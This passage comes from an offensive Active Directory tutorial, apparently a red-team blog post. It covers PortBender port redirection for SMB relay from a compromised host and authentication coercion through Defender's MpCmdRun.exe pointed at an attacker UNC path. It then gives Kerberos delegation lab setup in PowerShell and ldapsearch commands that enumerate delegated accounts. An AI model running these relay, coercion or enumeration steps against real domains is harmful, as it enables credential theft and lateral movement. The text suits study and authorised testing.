&gt;https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;For example, we may want to run PortBender in redirector mode so that we can launch an SMB relay attack from a compromised Windows system. We can tell PortBender to redirect all traffic bound for 445/TCP to the alternate port 8445/TCP, where the attacker&amp;rsquo;s SMB service is listening. In this example, we run “PortBender redirect 445 8445” to do that.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the C# file directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PortBender redirect 445 8445&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It only includes a CNA plugin, not an EXE; packaging it manually may also work&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="6-additional-technique"&gt;&lt;a href="#6-additional-technique" class="header-anchor"&gt;&lt;/a&gt;(6) Additional Technique&#10;&lt;/h4&gt;&lt;p&gt;Trigger authentication through antivirus software.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd &amp;#34;\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\MpCmdRun.exe -Scan -ScanType 3 -File \\ip\file.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="4-kerberos-delegation-attacks"&gt;&lt;a href="#4-kerberos-delegation-attacks" class="header-anchor"&gt;&lt;/a&gt;4. Kerberos Delegation Attacks&#10;&lt;/h3&gt;&lt;p&gt;Reference: &lt;a class="link" href="https://xz.aliyun.com/t/7217" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/7217&lt;/a&gt;&lt;/p&gt;&#10;&lt;h4 id="background"&gt;&lt;a href="#background" class="header-anchor"&gt;&lt;/a&gt;Background&#10;&lt;/h4&gt;&lt;p&gt;Domain delegation means delegating a domain user&amp;rsquo;s privileges to a service account, allowing that service account to act in the domain with the user&amp;rsquo;s privileges.&lt;/p&gt;&#10;&lt;p&gt;The two main forms are unconstrained delegation &lt;code&gt;(Unconstrained delegation)&lt;/code&gt; and constrained delegation &lt;code&gt;(Constrained delegation)&lt;/code&gt;. There is also resource-based constrained delegation (&lt;code&gt;Resource Based Constrained Delegation&lt;/code&gt;), but that is not the focus here. Let&amp;rsquo;s look at how unconstrained and constrained delegation can each be exploited.&lt;/p&gt;&#10;&lt;h4 id="finding-delegated-users-and-computers-in-the-domain"&gt;&lt;a href="#finding-delegated-users-and-computers-in-the-domain" class="header-anchor"&gt;&lt;/a&gt;Finding Delegated Users and Computers in the Domain&#10;&lt;/h4&gt;&lt;h5 id="how-it-works"&gt;&lt;a href="#how-it-works" class="header-anchor"&gt;&lt;/a&gt;How It Works&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;When a service account or host is configured for unconstrained delegation, its &lt;code&gt;userAccountControl&lt;/code&gt; attribute contains &lt;code&gt;TRUSTED_FOR_DELEGATION&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;When a service account or host is configured for constrained delegation, its &lt;code&gt;userAccountControl&lt;/code&gt; attribute contains &lt;code&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/code&gt;, and its &lt;code&gt;msDS-AllowedToDelegateTo&lt;/code&gt; attribute contains the constrained services&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The usual way to find delegated users or computers in a domain is to query over &lt;code&gt;LDAP&lt;/code&gt; (short for &lt;code&gt;LightweightDirectory Access Protocol&lt;/code&gt;) and filter matching users or computers by the &lt;code&gt;userAccountControl&lt;/code&gt; attribute. We can use &lt;code&gt;ADSI&lt;/code&gt; (short for &lt;code&gt;ActiveDirectory Service Interfaces Editor&lt;/code&gt;) to edit and modify LDAP. Run &lt;code&gt;adsiedit.msc&lt;/code&gt; to open the &lt;code&gt;ADSI&lt;/code&gt; editor, then locate a user configured for unconstrained delegation. Its &lt;code&gt;userAccountControl&lt;/code&gt; attribute will contain &lt;code&gt;TRUSTED_FOR_DELEGATION&lt;/code&gt;.&lt;/p&gt;&#10;&lt;h4 id="lab-setup-skip-this"&gt;&lt;a href="#lab-setup-skip-this" class="header-anchor"&gt;&lt;/a&gt;Lab Setup (Skip This)&#10;&lt;/h4&gt;&lt;p&gt;You can skip this section. It mainly configures two types of accounts. An unconstrained delegation account requires a domain-joined host and must be configured on that host.&lt;/p&gt;&#10;&lt;p&gt;If you have a host in the domain, configure the unconstrained delegation account and then follow the steps below to set up IIS for testing. I did not test this; using a machine account directly also works.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 1: Confirm the hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Run hostname on the target host to confirm its hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Ensure the hostname matches the one configured in the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 2: Install IIS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Install IIS on the target host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Install-WindowsFeature -Name Web-Server -IncludeManagementTools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Step 3: Configure the service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Open IIS Manager (inetmgr)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Locate DefaultAppPool or create an application pool&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Configure its identity as the domain account (test\svc_iis)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;span class="lnt"&gt;77&#10;&lt;/span&gt;&lt;span class="lnt"&gt;78&#10;&lt;/span&gt;&lt;span class="lnt"&gt;79&#10;&lt;/span&gt;&lt;span class="lnt"&gt;80&#10;&lt;/span&gt;&lt;span class="lnt"&gt;81&#10;&lt;/span&gt;&lt;span class="lnt"&gt;82&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First IIS service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# CN stands for Common Name and identifies a location in Active Directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For example, CN=Users,DC=domain,DC=com refers to the domain&amp;#39;s Users container&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-ADUser -Name &amp;#34;svc_iis&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -SamAccountName &amp;#34;svc_iis&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -UserPrincipalName &amp;#34;svc_iis@test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Path &amp;#34;CN=Users,DC=test,DC=local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -AccountPassword (ConvertTo-SecureString &amp;#34;Password123!&amp;#34; -AsPlainText -Force) `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Enabled $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -PasswordNeverExpires $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -ServicePrincipalNames &amp;#34;HTTP/webserver.test.local&amp;#34;,&amp;#34;HTTP/webserver&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Description &amp;#34;IIS Service Account&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add the required group memberships to the account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-ADGroupMember -Identity &amp;#34;Server Operators&amp;#34; -Members &amp;#34;svc_iis&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver.domain.com svc_iis&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver svc_iis&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify user creation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_iis -Properties *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the SPN configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L svc_iis&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;========================================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Second SharePoint service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-ADUser `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Name &amp;#34;svc_sharepoint&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -SamAccountName &amp;#34;svc_sharepoint&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -UserPrincipalName &amp;#34;svc_sharepoint@test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Path &amp;#34;CN=Users,DC=test,DC=local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -AccountPassword (ConvertTo-SecureString &amp;#34;Password123!&amp;#34; -AsPlainText -Force) `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Enabled $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -PasswordNeverExpires $true `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -ServicePrincipalNames &amp;#34;HTTP/sharepoint.test.local&amp;#34; `&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -Description &amp;#34;SharePoint Service Account&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add the required group memberships to the account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-ADGroupMember -Identity &amp;#34;Server Operators&amp;#34; -Members &amp;#34;svc_sharepoint&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Set the SPN&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver.domain.com svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -A HTTP/webserver svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify user creation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_sharepoint -Properties *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the SPN configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L svc_sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;======================================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IIS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the current service account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_iis -Properties *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADUser -Identity &amp;#34;svc_iis&amp;#34; -TrustedForDelegation $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_iis -Properties userAccountControl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The userAccountControl attribute should include TRUSTED_FOR_DELEGATION (524288)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;======================================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sharepoint&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# As an example, allow it to delegate to the CIFS service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADAccountControl -Identity &amp;#34;svc_sharepoint&amp;#34; -TrustedToAuthForDelegation $true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADUser -Identity &amp;#34;svc_sharepoint&amp;#34; -Add @{&amp;#39;msDS-AllowedToDelegateTo&amp;#39;=@(&amp;#39;CIFS/test.local&amp;#39;)}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Verify the configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser svc_sharepoint -Properties &amp;#34;msDS-AllowedToDelegateTo&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;======================================================================================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find all accounts configured for unconstrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find all accounts configured for constrained delegation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ADObject -Filter {msDS-AllowedToDelegateTo -like &amp;#34;*&amp;#34;} -Properties msDS-AllowedToDelegateTo&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="finding-unconstrained-delegation"&gt;&lt;a href="#finding-unconstrained-delegation" class="header-anchor"&gt;&lt;/a&gt;Finding Unconstrained Delegation&#10;&lt;/h4&gt;&lt;h5 id="ldapsearch"&gt;&lt;a href="#ldapsearch" class="header-anchor"&gt;&lt;/a&gt;ldapsearch&#10;&lt;/h5&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;This comes with Kali and is useful for queries from outside the domain.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;There are too many arguments to list one by one. Run &lt;code&gt;ldapsearch -h&lt;/code&gt; whenever you need to look them up.&lt;/p&gt;&#10;&lt;p&gt;Find users configured for unconstrained delegation in the domain:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://192.168.141.145:389 -D &amp;#34;CN=qiyou,CN=Users,DC=qiyou,DC=com&amp;#34; -w password -b &amp;#34;DC=qiyou,DC=com&amp;#34; &amp;#34;(&amp;amp;(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; |grep -iE &amp;#34;distinguishedName&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;An ordinary domain member account is enough to query this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Find hosts configured for unconstrained delegation in the domain:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://192.168.0.110:389 -D &amp;#34;CN=TestUser,CN=Users,DC=test,DC=local&amp;#34; -w &amp;#34;Password123\!&amp;#34; -b &amp;#34;DC=test,DC=local&amp;#34; &amp;#34;(&amp;amp;(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))&amp;#34; |grep -iE &amp;#34;distinguishedName&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For convenience, you can simply change 805306368 to 805306369.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: For more LDAP 